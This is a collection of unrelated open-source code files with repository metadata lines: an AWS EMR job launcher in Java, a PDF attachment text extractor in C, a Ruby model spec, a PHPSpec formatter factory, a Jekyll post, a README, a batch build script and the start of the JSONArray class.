<a id="Item6" onkeydown="return searchResults.Nav(event,6)" onkeypress="return searchResults.Nav(event,6)" onkeyup="return searchResults.Nav(event,6)" class="SRSymbol" href="../radiotftp_8c.html#a96d3c0f4106cb573e5ef72eb3fabc438" target="basefrm">syncword</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRStatus" id="Searching">Searching...</div>
<div class="SRStatus" id="NoMatches">No Matches</div>
<script type="text/javascript"><!--
document.getElementById("Loading").style.display="none";
document.getElementById("NoMatches").style.display="none";
var searchResults = new SearchResults("searchResults");
searchResults.Search();
--></script>
</div>
</body>
</html>
| alpsayin/radiotftp | doc/html/search/variables_73.html | HTML | mit | 3,503 |
package edu.purdue.eaps.weatherpipe;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import java.util.TimeZone;
import java.lang.System;
import java.lang.Runtime;
import org.apache.commons.io.FileUtils;
import org.apache.log4j.PropertyConfigurator;
import com.amazonaws.AmazonClientException;
import com.amazonaws.AmazonServiceException;
import com.amazonaws.ClientConfiguration;
import com.amazonaws.auth.AWSCredentials;
import com.amazonaws.auth.profile.ProfileCredentialsProvider;
import com.amazonaws.event.ProgressEvent;
import com.amazonaws.event.ProgressListener;
import com.amazonaws.regions.Region;
import com.amazonaws.regions.Regions;
import com.amazonaws.services.elasticmapreduce.AmazonElasticMapReduce;
import com.amazonaws.services.elasticmapreduce.AmazonElasticMapReduceClient;
import com.amazonaws.services.elasticmapreduce.model.Cluster;
import com.amazonaws.services.elasticmapreduce.model.DescribeClusterRequest;
import com.amazonaws.services.elasticmapreduce.model.DescribeClusterResult;
import com.amazonaws.services.elasticmapreduce.model.HadoopJarStepConfig;
import com.amazonaws.services.elasticmapreduce.model.JobFlowInstancesConfig;
import com.amazonaws.services.elasticmapreduce.model.RunJobFlowRequest;
import com.amazonaws.services.elasticmapreduce.model.RunJobFlowResult;
import com.amazonaws.services.elasticmapreduce.model.StepConfig;
import com.amazonaws.services.elasticmapreduce.model.TerminateJobFlowsRequest;
import com.amazonaws.services.identitymanagement.AmazonIdentityManagementClient;
import com.amazonaws.services.s3.AmazonS3;
import com.amazonaws.services.s3.AmazonS3Client;
import com.amazonaws.services.s3.model.CreateBucketRequest;
import com.amazonaws.services.s3.model.GetObjectRequest;
import com.amazonaws.services.s3.model.HeadBucketRequest;
import com.amazonaws.services.s3.model.PutObjectRequest;
import com.amazonaws.services.s3.transfer.Download;
import com.amazonaws.services.s3.transfer.MultipleFileDownload;
import com.amazonaws.services.s3.transfer.TransferManager;
import com.amazonaws.services.s3.transfer.Upload;
public class AWSInterface extends MapReduceInterface {
private String jobBucketNamePrefix = "weatherpipe";
private AmazonElasticMapReduce emrClient;
private AmazonS3 s3client;
private TransferManager transMan;
private Region region;
private String jobSetupDirName;
private String jobLogDirName;
//private String defaultInstance = "c3.xlarge";
private String jobBucketName;
private String jobID;
private int bytesTransfered = 0;
public AWSInterface(String job, String bucket){
String weatherPipeBinaryPath = WeatherPipe.class.getProtectionDomain().getCodeSource().getLocation().getPath();
String log4jConfPath = weatherPipeBinaryPath.substring(0, weatherPipeBinaryPath.lastIndexOf("/")) + "/log4j.properties";
PropertyConfigurator.configure(log4jConfPath);
jobBucketName = bucket;
AwsBootstrap(job);
}
private void AwsBootstrap(String job) {
AWSCredentials credentials;
ClientConfiguration conf;
String userID;
MessageDigest md = null;
byte[] shaHash;
StringBuffer hexSha;
DateFormat df;
TimeZone tz;
String isoDate;
File jobDir;
File jobSetupDir;
File jobLogDir;
int i;
conf = new ClientConfiguration();
// 2 minute timeout
conf.setConnectionTimeout(120000);
credentials = new ProfileCredentialsProvider("default").getCredentials();
// TODO: add better credential searching later
region = Region.getRegion(Regions.US_EAST_1);
s3client = new AmazonS3Client(credentials, conf);
s3client.setRegion(region);
transMan = new TransferManager(s3client);
emrClient = new AmazonElasticMapReduceClient(credentials, conf);
emrClient.setRegion(region);
if(jobBucketName == null) {
userID = new AmazonIdentityManagementClient(credentials).getUser().getUser().getUserId();
try {
md = MessageDigest.getInstance("SHA-256");
md.update(userID.getBytes("UTF-8"));
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
shaHash = md.digest();
hexSha = new StringBuffer();
for(byte b : shaHash) {
hexSha.append(String.format("%02X", b));
}
jobBucketName = jobBucketNamePrefix + "." + hexSha;
if(jobBucketName.length() > 63) {
jobBucketName = jobBucketName.substring(0,62);
}
}
jobBucketName = jobBucketName.toLowerCase();
if(job == null) {
tz = TimeZone.getTimeZone("UTC");
df = new SimpleDateFormat("yyyy-MM-dd'T'HH.mm");
df.setTimeZone(tz);
isoDate = df.format(new Date());
jobID = isoDate + "." + Calendar.getInstance().get(Calendar.MILLISECOND);
// UUID Code if date isn't good
// jobID = UUID.randomUUID().toString();
} else {
jobID = job;
}
jobDirName = "WeatherPipeJob" + jobID;
jobDir = new File(jobDirName);
i = 0;
while(jobDir.exists()) {
i++;
jobDirName = jobDirName + "-" + i;
jobDir = new File(jobDirName);
}
jobDir.mkdir();
jobSetupDirName = jobDirName + "/" + "job_setup";
jobSetupDir = new File(jobSetupDirName);
jobSetupDir.mkdir();
jobLogDirName = jobDirName + "/" + "logs";
jobLogDir = new File(jobLogDirName);
jobLogDir.mkdir();
}
private void UploadFileToS3(String jobBucketName, String key, File file) {
Upload upload;
PutObjectRequest request;
request = new PutObjectRequest(
jobBucketName, key, file);
bytesTransfered = 0;
// Subscribe to the event and provide event handler.
request.setGeneralProgressListener(new ProgressListener() {
@Override
public void progressChanged(ProgressEvent progressEvent) {
bytesTransfered += progressEvent.getBytesTransferred();
}
});
System.out.println();
upload = transMan.upload(request);
while(!upload.isDone()) {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
continue;
}
System.out.print("\rTransfered: " + bytesTransfered/1024 + "K / " + file.length()/1024 + "K");
}
// If we got an error the count could be off
System.out.print("\rTransfered: " + bytesTransfered/1024 + "K / " + bytesTransfered/1024 + "K");
System.out.println();
System.out.println("Transfer Complete");
}
public String FindOrCreateWeatherPipeJobDirectory() {
String bucketLocation = null;
try {
if(!(s3client.doesBucketExist(jobBucketName))) {
// Note that CreateBucketRequest does not specify region. So bucket is
// created in the region specified in the client.
s3client.createBucket(new CreateBucketRequest(
jobBucketName));
} else {
s3client.headBucket(new HeadBucketRequest(jobBucketName));
}
bucketLocation = "s3n://" + jobBucketName + "/";
} catch (AmazonServiceException ase) {
if(ase.getStatusCode() == 403) {
System.out.println("You do not have propper permissions to access " + jobBucketName +
". S3 uses a global name space, please make sure you are using a unique bucket name.");
System.exit(1);
} else {
System.out.println("Caught an AmazonServiceException, which " +
"means your request made it " +
"to Amazon S3, but was rejected with an error response" +
" for some reason.");
System.out.println("Error Message: " + ase.getMessage());
System.out.println("HTTP Status Code: " + ase.getStatusCode());
System.out.println("AWS Error Code: " + ase.getErrorCode());
System.out.println("Error Type: " + ase.getErrorType());
System.out.println("Request ID: " + ase.getRequestId());
}
System.exit(1);
} catch (AmazonClientException ace) {
System.out.println("Caught an AmazonClientException, which " +
"means the client encountered " +
"an internal error while trying to " +
"communicate with S3, " +
"such as not being able to access the network.");
System.out.println("Error Message: " + ace.getMessage());
System.exit(1);
}
return bucketLocation;
}
public String UploadInputFileList(ArrayList<String> fileList, String dataDirName) {
String key = jobID + "_input";
String uploadFileString = "";
PrintWriter inputFile = null;
File file = new File(jobSetupDirName + "/" + key);
for (String s : fileList) uploadFileString += dataDirName + " " + s + "\n";
try {
inputFile = new PrintWriter(file);
inputFile.print(uploadFileString);
inputFile.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.exit(1);
}
UploadFileToS3(jobBucketName, key, file);
return "s3n://" + jobBucketName + "/" + key;
}
public String UploadMPJarFile(String fileLocation) {
String key = jobID + "WeatherPipeMapreduce.jar";
File jarFile = new File(fileLocation);
UploadFileToS3(jobBucketName, key, jarFile);
try {
FileUtils.copyFile(new File(fileLocation), new File(jobSetupDirName + "/" + key));
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.exit(1);
}
return "s3n://" + jobBucketName + "/" + key;
}
public void CreateMRJob(String jobInputLocation, String jobJarLocation, int numInstances, String instanceType) {
// Modified from https://mpouttuclarke.wordpress.com/2011/06/24/how-to-run-an-elastic-mapreduce-job-using-the-java-sdk/
// first run aws emr create-default-roles
String hadoopVersion = "2.4.0";
String flowName = "WeatherPipe_" + jobID;
String logS3Location = "s3n://" + jobBucketName + "/" + jobID + ".log";
String outS3Location = "s3n://" + jobBucketName + "/" + jobID + "_output";
String[] arguments = new String[] {jobInputLocation, outS3Location};
List<String> jobArguments = Arrays.asList(arguments);
DescribeClusterRequest describeClusterRequest = new DescribeClusterRequest();
DescribeClusterResult describeClusterResult;
File rawOutputFile = new File(jobDirName + "/" + jobID + "_raw_map_reduce_output");
File localLogDir = new File(jobLogDirName);
int normalized_hours;
double cost;
long startTimeOfProgram, endTimeOfProgram, elapsedTime;
final String resultId;
String line, lastStateMsg;
StringBuilder jobOutputBuild;
int i;
Download download;
int fileLength;
BufferedReader lineRead;
MultipleFileDownload logDirDownload;
startTimeOfProgram = System.currentTimeMillis();
if(instanceType == null) {
instanceType = "c3.xlarge";
System.out.println("Instance type is set to default: " + instanceType);
System.out.println();
}
try {
// Configure instances to use
JobFlowInstancesConfig instances = new JobFlowInstancesConfig();
System.out.println("Using EMR Hadoop v" + hadoopVersion);
instances.setHadoopVersion(hadoopVersion);
System.out.println("Using instance count: " + numInstances);
instances.setInstanceCount(numInstances);
System.out.println("Using master instance type: " + instanceType);
instances.setMasterInstanceType("c3.xlarge");
// do these need to be different??
System.out.println("Using slave instance type: " + instanceType);
instances.setSlaveInstanceType(instanceType);
// Configure the job flow
System.out.println("Configuring flow: " + flowName);
RunJobFlowRequest request = new RunJobFlowRequest(flowName, instances);
System.out.println("\tusing log URI: " + logS3Location);
request.setLogUri(logS3Location);
request.setServiceRole("EMR_DefaultRole");
request.setAmiVersion("3.1.0");
// this may change for some people
request.setJobFlowRole("EMR_EC2_DefaultRole");
System.out.println("\tusing jar URI: " + jobJarLocation);
HadoopJarStepConfig jarConfig = new HadoopJarStepConfig(jobJarLocation);
System.out.println("\tusing args: " + jobArguments);
jarConfig.setArgs(jobArguments);
StepConfig stepConfig =
new StepConfig(jobJarLocation.substring(jobJarLocation.indexOf('/') + 1),
jarConfig);
request.setSteps(Arrays.asList(new StepConfig[] { stepConfig }));
System.out.println("Configured hadoop jar succesfully!\n");
//Run the job flow
RunJobFlowResult result = emrClient.runJobFlow(request);
System.out.println("Trying to run job flow!\n");
describeClusterRequest.setClusterId(result.getJobFlowId());
resultId = result.getJobFlowId();
//Check the status of the running job
String lastState = "";
Runtime.getRuntime().addShutdownHook(new Thread() {public void run()
{ List<String> jobIds = new ArrayList<String>();
jobIds.add(resultId);
TerminateJobFlowsRequest tjfr = new TerminateJobFlowsRequest(jobIds);
emrClient.terminateJobFlows(tjfr);
System.out.println();
System.out.println("Amazon EMR job shutdown");
}});
while (true)
{
describeClusterResult = emrClient.describeCluster(describeClusterRequest);
Cluster cluster = describeClusterResult.getCluster();
lastState = cluster.getStatus().getState();
lastStateMsg = "\rCurrent State of Cluster: " + lastState;
System.out.print(lastStateMsg + " ");
if(!lastState.startsWith("TERMINATED")) {
lastStateMsg = lastStateMsg + " ";
for(i = 0; i < 10; i++) {
lastStateMsg = lastStateMsg + ".";
System.out.print(lastStateMsg);
Thread.sleep(1000);
}
continue;
} else {
lastStateMsg = lastStateMsg + " ";
System.out.print(lastStateMsg);
}
// it reaches here when the emr has "terminated"
normalized_hours = cluster.getNormalizedInstanceHours();
cost = normalized_hours * 0.011;
endTimeOfProgram = System.currentTimeMillis(); // returns milliseconds
elapsedTime = (endTimeOfProgram - startTimeOfProgram)/(1000);
logDirDownload = transMan.downloadDirectory(jobBucketName, jobID + ".log", localLogDir);
while(!logDirDownload.isDone()) {
Thread.sleep(1000);
}
System.out.println();
if(!lastState.endsWith("ERRORS")) {
bytesTransfered = 0;
fileLength = (int)s3client.getObjectMetadata(jobBucketName, jobID + "_output" + "/part-r-00000").getContentLength();
GetObjectRequest fileRequest = new GetObjectRequest(jobBucketName, jobID + "_output" + "/part-r-00000");
fileRequest.setGeneralProgressListener(new ProgressListener() {
@Override
public void progressChanged(ProgressEvent progressEvent) {
bytesTransfered += progressEvent.getBytesTransferred();
}
});
download = transMan.download(new GetObjectRequest(jobBucketName, jobID + "_output" + "/part-r-00000"), rawOutputFile);
System.out.println("Downloading Output");
while(!download.isDone()) {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
continue;
}
// System.out.print("\rTransfered: " + bytesTransfered/1024 + "K / " + fileLength/1024 + "K ");
}
/* Printing this stuff isn't working
// If we got an error the count could be off
System.out.print("\rTransfered: " + bytesTransfered/1024 + "K / " + bytesTransfered/1024 + "K ");
System.out.println();
*/
System.out.println("Transfer Complete");
System.out.println("The job has ended and output has been downloaded to " + jobDirName);
System.out.printf("Normalized instance hours: %d\n", normalized_hours);
System.out.printf("Approximate cost of this run: $%2.02f\n", cost);
System.out.println("The job took " + elapsedTime + " seconds to finish" );
lineRead = new BufferedReader(new FileReader(rawOutputFile));
jobOutputBuild = new StringBuilder("");
while((line = lineRead.readLine()) != null) {
if(line.startsWith("Run#")) {
jobOutputBuild = new StringBuilder("");
jobOutputBuild.append(line.split("\t")[1]);
} else {
jobOutputBuild.append("\n");
jobOutputBuild.append(line);
}
}
jobOutput = jobOutputBuild.toString();
break;
}
jobOutput = "FAILED";
System.out.println("The job has ended with errors, please check the log in " + localLogDir);
System.out.printf("Normalized instance hours: %d\n", normalized_hours);
System.out.printf("Approximate cost of this run = $%2.02f\n", cost);
System.out.println("The job took " + elapsedTime + " seconds to finish" );
break;
}
} catch (AmazonServiceException ase) {
System.out.println("Caught Exception: " + ase.getMessage());
System.out.println("Reponse Status Code: " + ase.getStatusCode());
System.out.println("Error Code: " + ase.getErrorCode());
System.out.println("Request ID: " + ase.getRequestId());
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void addJobBucketName (String jobBucketName){
this.jobBucketName = jobBucketName;
}
protected void close() {
transMan.shutdownNow();
}
}
| stephenlienharrell/WeatherPipe | WeatherPipe/src/main/java/edu/purdue/eaps/weatherpipe/AWSInterface.java | Java | mit | 19,505 |
---
layout: post
title: Any code of your own that you haven't looked at for six or more months might as well have been written by someone else. (Eagleson's law)
category: week
tags: [c++, python, versioning, javascript, bash, windows, programming, ping-pong, spotify, engineering]
---
## Top Pick
* Spotify Engineering Culture. [part 1](https://vimeo.com/85490944) - [part 2](https://vimeo.com/94950270)
## Software
* [C++ Has Become More Pythonic](http://preshing.com/20141202/cpp-has-become-more-pythonic/)
* [Why is processing a sorted array faster than an unsorted array?](http://stackoverflow.com/questions/11227809/why-is-processing-a-sorted-array-faster-than-an-unsorted-array?rq=1)
* [Release and Versioning Changes](http://blog.jetbrains.com/blog/2016/03/09/jetbrains-toolbox-release-and-versioning-changes/)
* [The Programmer Competency Matrix](http://sijinjoseph.com/programmer-competency-matrix/)
* [A Taste of JavaScript’s New Parallel Primitives](https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/)
* [Windows Subsystem for Linux Overview - Bash on Windows](https://blogs.msdn.microsoft.com/wsl/2016/04/22/windows-subsystem-for-linux-overview/)
## Stuff
* [Putting the Tesla HEPA Filter and Bioweapon Defense Mode to the Test](https://www.teslamotors.com/blog/putting-tesla-hepa-filter-and-bioweapon-defense-mode-to-the-test)
* [Plummeting Ping-Pong-Table Sales Are the Latest Sign That Silicon Valley Is in Trouble](http://www.vanityfair.com/news/2016/05/plummeting-ping-pong-table-sales-are-the-latest-sign-that-silicon-valley-is-in-trouble) | capravictoriae/vulpesbag | _posts/2016-05-09-Week-19.md | Markdown | mit | 1,619 |
fluency
=======
An HTML, CSS, and Javascript framework for interactive video produced <a href="http://interactivedocs.com" target="_blank">Interactive Docs</a>.
Check out the <a href="http://interactivedocs.com/fluency.html" target="_blank">documentation</a> on our website.
To run locally [npm](https://www.npmjs.org): `npm start`.
<h3>Road map</h3>
The first hackathon on October 18th was hugely successful! We now have the foundation for an interactive video framework. Feel free to submit pull-requests with additional features, but we're currently refactoring all the code that was merged into a more intuitive structure, restyling the components to match the visual style of Fluency, and adding additional functionality to the framework.
We have an internal feature wish list that we'll share once we push this initial refactor to the repo. The subsequent feature set will include (but is not limited to!) screen transitions, parallax, and a wizard for webvtt.
More hack days to come!
| interactivedocs/fluency | README.md | Markdown | mit | 997 |
del *.exe
del *.obj
call "%VS140COMNTOOLS%\..\..\VC\bin\vcvars32.bat"
cl /D _CONSOLE /W4 /O2 calc-ram.cpp
| pavel-pimenov/sandbox | console-test/memory/compile-calc-ram-vc2015.bat | Batchfile | mit | 109 |
/* $Id: get_attachments.c,v 1.13 2015/07/20 10:35:53 tm Exp $
*
* PDFlib TET sample application.
*
* PDF text extractor which also searches PDF file attachments.
* The file attachments may be attached to the document or
* to page-level annotations of type FileAttachment. The former construct
* also covers PDF 1.7 packages (a.k.a. PDF collections).
*
* Nested attachments (file attachments within file attachments,
* or nested PDF packages) all embedded files are processed recursively.
*/
#include <stdio.h>
#include <string.h>
#include "tetlib.h"
/* global option list */
static const char *globaloptlist =
"searchpath={{../data} "
"{../../../resource/cmap}}";
/* document-specific option list */
static const char *docoptlist = "";
/* page-specific option list */
static const char *pageoptlist = "granularity=page";
/* separator to emit after each chunk of text. This depends on the
* application's needs; for granularity=word a space character may be useful.
*/
#define SEPARATOR "\n"
/* Extract text from a document for which a TET handle is already available */
static void
extract_text(TET *tet, int doc, FILE *outfp)
{
int n_pages;
volatile int pageno = 0;
/* get number of pages in the document */
n_pages = (int) TET_pcos_get_number(tet, doc, "length:pages");
/* loop over all pages */
for (pageno = 1; pageno <= n_pages; ++pageno)
{
const char *text;
int page;
int len;
page = TET_open_page(tet, doc, pageno, pageoptlist);
if (page == -1)
{
fprintf(stderr, "Error %d in %s() on page %d: %s\n",
TET_get_errnum(tet), TET_get_apiname(tet), pageno,
TET_get_errmsg(tet));
continue; /* try next page */
}
/* Retrieve all text fragments; This loop is actually not required
* for granularity=page, but must be used for other granularities.
*/
while ((text = TET_get_text(tet, page, &len)) != 0)
{
fprintf(outfp, "%s", text); /* print the retrieved text */
/* print a separator between chunks of text */
fprintf(outfp, SEPARATOR);
}
if (TET_get_errnum(tet) != 0)
{
fprintf(stderr, "Error %d in %s() on page %d: %s\n",
TET_get_errnum(tet), TET_get_apiname(tet), pageno,
TET_get_errmsg(tet));
}
TET_close_page(tet, page);
}
}
/* Open a named physical or virtual file, extract the text from it,
search for document or page attachments, and process these recursively.
Either filename must be supplied for physical files, or data+length
from which a virtual file will be created.
The caller cannot create the PVF file since we create a new TET object
here in case an exception happens with the embedded document - the
caller can happily continue with his TET object even in case of an
exception here.
*/
static int
process_document(FILE *outfp, const char *filename, const char *realname,
const unsigned char *data, int length)
{
TET *tet;
if ((tet = TET_new()) == (TET *) 0)
{
fprintf(stderr, "extractor: out of memory\n");
return(4);
}
TET_TRY (tet)
{
const char *pvfname = "/pvf/attachment";
int doc;
int file, filecount;
int page, pagecount;
const unsigned char *attdata;
int attlength;
int objtype;
/* Construct a PVF file if data instead of a filename was provided */
if (!filename)
{
TET_create_pvf(tet, pvfname, 0, data, length, "");
filename = pvfname;
}
TET_set_option(tet, globaloptlist);
doc = TET_open_document(tet, filename, 0, docoptlist);
if (doc == -1)
{
fprintf(stderr,
"Error %d in %s() (source: attachment '%s'): %s\n",
TET_get_errnum(tet), TET_get_apiname(tet),
realname, TET_get_errmsg(tet));
TET_EXIT_TRY(tet);
TET_delete(tet);
return(5);
}
/* -------------------- Extract the document's own page contents */
extract_text(tet, doc, outfp);
/* -------------------- Process all document-level file attachments */
/* Get the number of document-level file attachments. */
filecount = (int) TET_pcos_get_number(tet, doc,
"length:names/EmbeddedFiles");
for (file = 0; file < filecount; file++)
{
const char *attname;
/* fetch the name of the file attachment; check for Unicode file
* name (a PDF 1.7 feature)
*/
objtype = (int) TET_pcos_get_number(tet, doc,
"type:names/EmbeddedFiles[%d]/UF", file);
if (objtype == pcos_ot_string)
{
attname = TET_pcos_get_string(tet, doc,
"names/EmbeddedFiles[%d]/UF", file);
}
else {
/* fetch the name of the file attachment */
objtype = (int) TET_pcos_get_number(tet, doc,
"type:names/EmbeddedFiles[%d]/F", file);
if (objtype == pcos_ot_string)
{
attname = TET_pcos_get_string(tet, doc,
"names/EmbeddedFiles[%d]/F", file);
}
else
{
attname = "(unnamed)";
}
}
fprintf(outfp, "\n----- File attachment '%s':\n", attname);
/* fetch the contents of the file attachment and process it */
objtype = (int) TET_pcos_get_number(tet, doc,
"type:names/EmbeddedFiles[%d]/EF/F", file);
if (objtype == pcos_ot_stream)
{
attdata = TET_pcos_get_stream(tet, doc, &attlength, "",
"names/EmbeddedFiles[%d]/EF/F", file);
(void) process_document(outfp, 0, attname, attdata, attlength);
}
}
/* -------------------- Process all page-level file attachments */
pagecount = (int) TET_pcos_get_number(tet, doc, "length:pages");
/* Check all pages for annotations of type FileAttachment */
for (page = 0; page < pagecount; page++)
{
int annot, annotcount;
annotcount = (int) TET_pcos_get_number(tet, doc,
"length:pages[%d]/Annots", page);
for (annot = 0; annot < annotcount; annot++)
{
const char *val;
char attname[128];
val = TET_pcos_get_string(tet, doc,
"pages[%d]/Annots[%d]/Subtype", page, annot);
sprintf(attname, "page %d, annotation %d", page+1, annot+1);
if (!strcmp(val, "FileAttachment"))
{
/* fetch the contents of the attachment and process it */
objtype = (int) TET_pcos_get_number(tet, doc,
"type:pages[%d]/Annots[%d]/FS/EF/F", page, annot);
if (objtype == pcos_ot_stream)
{
attdata = TET_pcos_get_stream(tet, doc, &attlength, "",
"pages[%d]/Annots[%d]/FS/EF/F", page, annot);
(void) process_document(outfp, 0,
attname, attdata, attlength);
}
}
}
}
TET_close_document(tet, doc);
/* If there was no PVF file deleting it won't do any harm */
TET_delete_pvf(tet, pvfname, 0);
}
TET_CATCH (tet)
{
fprintf(stderr,
"Error %d in %s() (source: attachment '%s'): %s\n",
TET_get_errnum(tet), TET_get_apiname(tet),
realname, TET_get_errmsg(tet));
}
TET_delete(tet);
return(0);
}
int main(int argc, char **argv)
{
FILE *outfp;
int ret = 0;
if (argc != 3)
{
fprintf(stderr, "usage: %s <infilename> <outfilename>\n", argv[0]);
return(2);
}
if ((outfp = fopen(argv[2], "w")) == NULL)
{
fprintf(stderr, "Error: couldn't open output file '%s'\n", argv[2]);
return(3);
}
ret = process_document(outfp, argv[1], argv[1], 0, 0);
fclose(outfp);
return ret;
}
| kentaiwami/masamon | masamon/TET/c/get_attachments.c | C | mit | 7,568 |
# -*- coding: utf-8 -*-
require 'spec_helper'
describe RailwayCompany do
describe :import do
let(:file_path) do
tempfile = Tempfile.new('railway_companies.csv')
tempfile << <<EOS
company_cd,rr_cd,company_name,company_name_k,company_name_h,company_name_r,company_url,company_type,e_status,e_sort
1,11,JR北海道,ジェイアールホッカイドウ,北海道旅客鉄道株式会社,JR北海道,http://www.jrhokkaido.co.jp/,1,0,1
2,11,JR東日本,ジェイアールヒガシニホン,東日本旅客鉄道株式会社,JR東日本,http://www.jreast.co.jp/,1,0,2
3,11,JR東海,ジェイアールトウカイ,東海旅客鉄道株式会社,JR東海,http://jr-central.co.jp/,1,0,3
4,11,JR西日本,ジェイアールニシニホン,西日本旅客鉄道株式会社,JR西日本,http://www.westjr.co.jp/,1,1,4
5,11,JR四国,ジェイアールシコク,四国旅客鉄道株式会社,JR四国,http://www.jr-shikoku.co.jp/,1,2,5
6,11,JR九州,ジェイアールキュウシュウ,九州旅客鉄道株式会社,JR九州,http://www.jrkyushu.co.jp/,1,2,6
EOS
tempfile.close
return tempfile.path
end
before do
RailwayCompany.import(file_path)
end
describe :imported_count do
subject { RailwayCompany.pluck(:id) }
it { should match_array [1, 2, 3] }
end
describe :first_company do
subject { RailwayCompany.find(1) }
its(:name) { should eq 'JR北海道' }
its(:railway_id) { should eq 11 }
its(:kana_name) { should eq 'ジェイアールホッカイドウ' }
its(:official_name) { should eq '北海道旅客鉄道株式会社' }
its(:abbreviated_name) { should eq 'JR北海道' }
its(:url) { should eq 'http://www.jrhokkaido.co.jp/' }
its(:company_type) { should eq 1 }
its(:sort) { should eq 1 }
end
end
end
| aonashi/jpstation | spec/models/railway_company_spec.rb | Ruby | mit | 1,833 |
<?php
/**
* PHPSpec
*
* LICENSE
*
* This file is subject to the GNU Lesser General Public License Version 3
* that is bundled with this package in the file LICENSE.
* It is also available through the world-wide-web at this URL:
* http://www.gnu.org/licenses/lgpl-3.0.txt
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* @category PHPSpec
* @package PHPSpec
* @copyright Copyright (c) 2007-2009 Pádraic Brady, Travis Swicegood
* @copyright Copyright (c) 2010-2012 Pádraic Brady, Travis Swicegood,
* Marcello Duarte
* @license http://www.gnu.org/licenses/lgpl-3.0.txt GNU Lesser General Public Licence Version 3
*/
namespace PHPSpec\Runner\Formatter;
use \PHPSpec\Runner\Reporter;
/**
* @category PHPSpec
* @package PHPSpec
* @copyright Copyright (c) 2007-2009 Pádraic Brady, Travis Swicegood
* @copyright Copyright (c) 2010-2012 Pádraic Brady, Travis Swicegood,
* Marcello Duarte
* @license http://www.gnu.org/licenses/lgpl-3.0.txt GNU Lesser General Public Licence Version 3
*/
class Factory
{
/**
* Available formatters
*
* @var array
*/
protected $_formatters = array(
'p' => 'Progress',
'd' => 'Documentation',
'h' => 'Html',
'j' => 'Junit'
);
/**
* Creates a formatter class, looks for built in and returns custom one if
* one is not found
*
* @param string $formatter
* @param \PHPSpec\Runner\Reporter $reporter
* @return \PHPSpec\Runner\Formatter
*/
public function create($formatter, Reporter $reporter)
{
if (in_array($formatter, array_keys($this->_formatters)) ||
in_array(ucfirst($formatter), array_values($this->_formatters))) {
$formatter = $this->_formatters[strtolower($formatter[0])];
$formatterClass = '\PHPSpec\Runner\Formatter\\' . $formatter;
return new $formatterClass($reporter);
}
return new $formatter;
}
} | manufy/PHP-BDD-YaCMS | Lib/PHPSpec-1.3.0beta/PHPSpec/Runner/Formatter/Factory.php | PHP | mit | 2,204 |
package framework.org.json;
/*
Copyright (c) 2002 JSON.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The Software shall be used for Good, not Evil.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
import java.io.IOException;
import java.io.StringWriter;
import java.io.Writer;
import java.lang.reflect.Array;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.Map;
/**
* A JSONArray is an ordered sequence of values. Its external text form is a
* string wrapped in square brackets with commas separating the values. The
* internal form is an object having <code>get</code> and <code>opt</code>
* methods for accessing the values by index, and <code>put</code> methods for
* adding or replacing values. The values can be any of these types:
* <code>Boolean</code>, <code>JSONArray</code>, <code>JSONObject</code>,
* <code>Number</code>, <code>String</code>, or the
* <code>JSONObject.NULL object</code>.
* <p>
* The constructor can convert a JSON text into a Java object. The
* <code>toString</code> method converts to JSON text.
* <p>
* A <code>get</code> method returns a value if one can be found, and throws an
* exception if one cannot be found. An <code>opt</code> method returns a
* default value instead of throwing an exception, and so is useful for
* obtaining optional values.
* <p>
* The generic <code>get()</code> and <code>opt()</code> methods return an
* object which you can cast or query for type. There are also typed
* <code>get</code> and <code>opt</code> methods that do type checking and type
* coercion for you.
* <p>
* The texts produced by the <code>toString</code> methods strictly conform to
* JSON syntax rules. The constructors are more forgiving in the texts they will
* accept:
* <ul>
* <li>An extra <code>,</code> <small>(comma)</small> may appear just
* before the closing bracket.</li>
* <li>The <code>null</code> value will be inserted when there is <code>,</code>
* <small>(comma)</small> elision.</li>
* <li>Strings may be quoted with <code>'</code> <small>(single
* quote)</small>.</li>
* <li>Strings do not need to be quoted at all if they do not begin with a quote
* or single quote, and if they do not contain leading or trailing spaces, and
* if they do not contain any of these characters:
* <code>{ } [ ] / \ : , #</code> and if they do not look like numbers and
* if they are not the reserved words <code>true</code>, <code>false</code>, or
* <code>null</code>.</li>
* </ul>
*
* @author JSON.org
* @version 2014-05-03
*/
public class JSONArray {
/**
* The arrayList where the JSONArray's properties are kept.
*/
private final ArrayList<Object> myArrayList;
/**
* Construct an empty JSONArray.
